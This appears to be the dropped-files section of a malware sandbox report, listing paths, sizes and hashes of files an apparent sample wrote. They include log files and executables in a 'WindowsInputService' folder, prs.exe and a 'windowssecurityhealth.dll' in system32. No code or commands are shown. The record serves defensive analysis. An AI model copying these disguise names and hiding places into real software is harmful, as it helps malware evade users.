        • Path C:\Users\Admin\AppData\Roaming\WindowsInputService\host_log.txt
        • Size 1KB
        • SHA256 12fd6c591f59c6cce02dc772fd390ee606dcadc4a8dc042511423432b2404f95
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        host_log.txt
        • Path C:\Users\Admin\AppData\Roaming\WindowsInputService\host_log.txt
        • Size 2KB
        • SHA256 2aef70da7160a407cd288839fc40cbc2f50102c370cb092c8847a398302f1e03
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        host_log.txt
        • Path C:\Users\Admin\AppData\Roaming\WindowsInputService\host_log.txt
        • Size 2KB
        • SHA256 58173a8545e0807a3e6b2b4768f85cc1162c8cd14f608bed60711bdfe3283bdb
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        host_log.txt
        • Path C:\Users\Admin\AppData\Roaming\WindowsInputService\host_log.txt
        • Size 2KB
        • SHA256 78ffbdf7dabf840c049de20d7979d3da21ce9bf0254fb3d2d1e735158065845e
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        host_log.txt
        • Path C:\Users\Admin\AppData\Roaming\WindowsInputService\host_log.txt
        • Size 2KB
        • SHA256 749384fca4127deccb6c9ebec14493ecaab88075d34789573b833c8ce3b6c97d
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        host_log.txt
        • Path C:\Users\Admin\AppData\Roaming\WindowsInputService\host_log.txt
        • Size 2KB
        • SHA256 d8ecc60cf42009b2ca92d2a95aded2f6e80e363fb8ea0f0fe22db5bd5a4bfbd0
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        host_log.txt
        • Path C:\Users\Admin\AppData\Roaming\WindowsInputService\host_log.txt
        • Size 3KB
        • SHA256 e5a3318a14022256cb2815c4d81df3e9e7bee90115072c1e4333336d75d6a56e
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        host_log.txt
        • Path C:\Users\Admin\AppData\Roaming\WindowsInputService\host_log.txt
        • Size 115B
        • SHA256 7c7cd987223287d628efd1b9fa481128b0a03423610040d16ff490019c4dd99a
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        host_log.txt
        • Path C:\Users\Admin\AppData\Roaming\WindowsInputService\host_log.txt
        • Size 81B
        • SHA256 f0f9b5a6c33b4b510987ab3256d93324b8852d7cd078c4106bcb92ba067ba4fa
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        inputsvc.exe
        • Path C:\Users\Admin\AppData\Roaming\WindowsInputService\inputsvc.exe
        • Size 993KB
        • SHA256 819e18fc8fe7ef3fd7fd2d717c127d1757b97dd209353e7aa98914a09cb2718c
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        updater.exe
        • Path C:\Users\Admin\AppData\Roaming\WindowsInputService\updater.exe
        • Size 240KB
        • SHA256 35b6edb485878a05efc9a32433be883e571d59ce792cec7adb0d2b327bc553cb
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        host_log.txt
        • Path C:\Windows\System32\config\systemprofile\AppData\Roaming\WindowsInputService\host_log.txt
        • Size 1KB
        • SHA256 8f360093940545d003696d6fb4ca2f591b5689d48474d58d4bc07067eef151af
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        host_log.txt
        • Path C:\Windows\System32\config\systemprofile\AppData\Roaming\WindowsInputService\host_log.txt
        • Size 2KB
        • SHA256 b5de52881bb97eb27be48cbf6b397fc5abba0c78eeaf009ad9033570d6f31eb8
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        host_log.txt
        • Path C:\Windows\System32\config\systemprofile\AppData\Roaming\WindowsInputService\host_log.txt
        • Size 1KB
        • SHA256 db3bff61c388dcb1d3f774318ee3a4f49e8f41650143b00ce45bcd64888faed6
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        host_log.txt
        • Path C:\Windows\System32\config\systemprofile\AppData\Roaming\WindowsInputService\host_log.txt
        • Size 2KB
        • SHA256 05c015d922cb9309dd5f5ed0eb8177d803c9aab3ab033118f9a7afffe56cece1
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        __PSScriptPolicyTest_gfqlhoqr.uuk.ps1
        • Path C:\Windows\SystemTemp\__PSScriptPolicyTest_gfqlhoqr.uuk.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        host_update.exe
        • Path C:\Windows\Temp\host_update.exe
        • Size 1.0MB
        • SHA256 4bee79ccc846fa8ae96a281c338f1efa0142f155c8144347f3611ed18c54c7eb
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        439F613B3D55693954E1B080DE3085B4_34E5860FFE20BE5B0BFD962D5C01ADB7
        • Path C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\439F613B3D55693954E1B080DE3085B4_34E5860FFE20BE5B0BFD962D5C01ADB7
        • Size 1KB
        • SHA256 1f952c9592c6bbc621e17e3f153d02d5567a7c5e081c19edbda39f85225dfdf1
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        EBD5593D469F3B707C150CCE524C85AE_254B83380A3C5C90E6FDE4EE91938C04
        • Path C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\EBD5593D469F3B707C150CCE524C85AE_254B83380A3C5C90E6FDE4EE91938C04
        • Size 1KB
        • SHA256 ee6281abb20618ec23c860d36a74a83138a5e5ccbf7b2eaba1e1e7db6282d9e6
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        439F613B3D55693954E1B080DE3085B4_34E5860FFE20BE5B0BFD962D5C01ADB7
        • Path C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\439F613B3D55693954E1B080DE3085B4_34E5860FFE20BE5B0BFD962D5C01ADB7
        • Size 506B
        • SHA256 7289263b128fe3eab62c7187b4d5d97b5cc465adfe2476066853d57f75b9fbfe
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        EBD5593D469F3B707C150CCE524C85AE_254B83380A3C5C90E6FDE4EE91938C04
        • Path C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\EBD5593D469F3B707C150CCE524C85AE_254B83380A3C5C90E6FDE4EE91938C04
        • Size 538B
        • SHA256 568c40ccd0d4b7a40b8c59d06a930aee69d50e26597cd9acedbb6a6f10e1a93f
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        StartupProfileData-NonInteractive
        • Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 4004559e53aecf7cd224c7701646b427b7c3695fe142356d2c567b235757e180
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        StartupProfileData-NonInteractive
        • Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 b732072debb7b02a97a4f7c2ab41420e3ed298cad280235a767c749689605d8a
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        audio_log.txt
        • Path C:\Windows\system32\config\systemprofile\AppData\Roaming\WindowsInputService\audio_log.txt
        • Size 1KB
        • SHA256 d72c3eb97981fa9d6494d87a77bc06b1c983e4fb2f346b7c7ddea9292b27e8ca
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        host_log.txt
        • Path C:\Windows\system32\config\systemprofile\AppData\Roaming\WindowsInputService\host_log.txt
        • Size 71B
        • SHA256 ea3c7967467fce2dc526c66d9be3a47f870257146ffed2b5f0aa12076381f12a
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        host_log.txt
        • Path C:\Windows\system32\config\systemprofile\AppData\Roaming\WindowsInputService\host_log.txt
        • Size 120B
        • SHA256 a073271af820276e6556131d9aa75812394c24aa03c0a6695ba32e8594632bfb
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        host_log.txt
        • Path C:\Windows\system32\config\systemprofile\AppData\Roaming\WindowsInputService\host_log.txt
        • Size 1KB
        • SHA256 6dc170100bb0a230680c804e3a65b9fb72f4f51ef53472c006b4b14a18019c25
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        host_log.txt
        • Path C:\Windows\system32\config\systemprofile\AppData\Roaming\WindowsInputService\host_log.txt
        • Size 1KB
        • SHA256 1478f62319681045740ea9bba46e989fee34957574e5c866f5857a28ad9a0b5d
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        host_log.txt
        • Path C:\Windows\system32\config\systemprofile\AppData\Roaming\WindowsInputService\host_log.txt
        • Size 2KB
        • SHA256 f090ebca01e0926dd9b657f99cb76075bccca24895f6a2d552d39ee16491bd20
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        host_log.txt
        • Path C:\Windows\system32\config\systemprofile\AppData\Roaming\WindowsInputService\host_log.txt
        • Size 2KB
        • SHA256 db0a042ee30f9790bd2c62cd069f0f954f9e1e5e72f057dee63853a51f5b6ddc
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        host_log.txt
        • Path C:\Windows\system32\config\systemprofile\AppData\Roaming\WindowsInputService\host_log.txt
        • Size 2KB
        • SHA256 6da29cfdc45a4ca972f2f9bc849aa6539e27f8314a3a0e96464f9d6d505eb5e9
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        host_log.txt
        • Path C:\Windows\system32\config\systemprofile\AppData\Roaming\WindowsInputService\host_log.txt
        • Size 2KB
        • SHA256 f69e58785b7b019b128d9240744ad85f2465d73c31067b48c484547b0dc88e03
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        host_log.txt
        • Path C:\Windows\system32\config\systemprofile\AppData\Roaming\WindowsInputService\host_log.txt
        • Size 71B
        • SHA256 685be2b009e90ecae75180e73c5e93f2b71ee673ba8539c5f4e1770a35898ff1
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        host_log.txt
        • Path C:\Windows\system32\config\systemprofile\AppData\Roaming\WindowsInputService\host_log.txt
        • Size 105B
        • SHA256 e099f499bcb1b6ff6e11fa1b8334cf14e8cfcb5ef4683e77ddd26603c2b84350
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        prs.exe
        • Path C:\Windows\system32\prs.exe
        • Size 271KB
        • SHA256 ee383042dc45ccd9f1632b4963ebcd3e997107c47772127b278a539aee7dfab7
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        windowssecurityhealth.dll
        • Path \??\c:\windows\system32\windowssecurityhealth.dll
        • Size 138KB
        • SHA256 7109db780af83cd59bfc922313b88c3b996c42fe686e793f428cacbfbd962626
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        memory/2408-68-0x00000167F08F0000-0x00000167F0912000-memory.dmp
        Download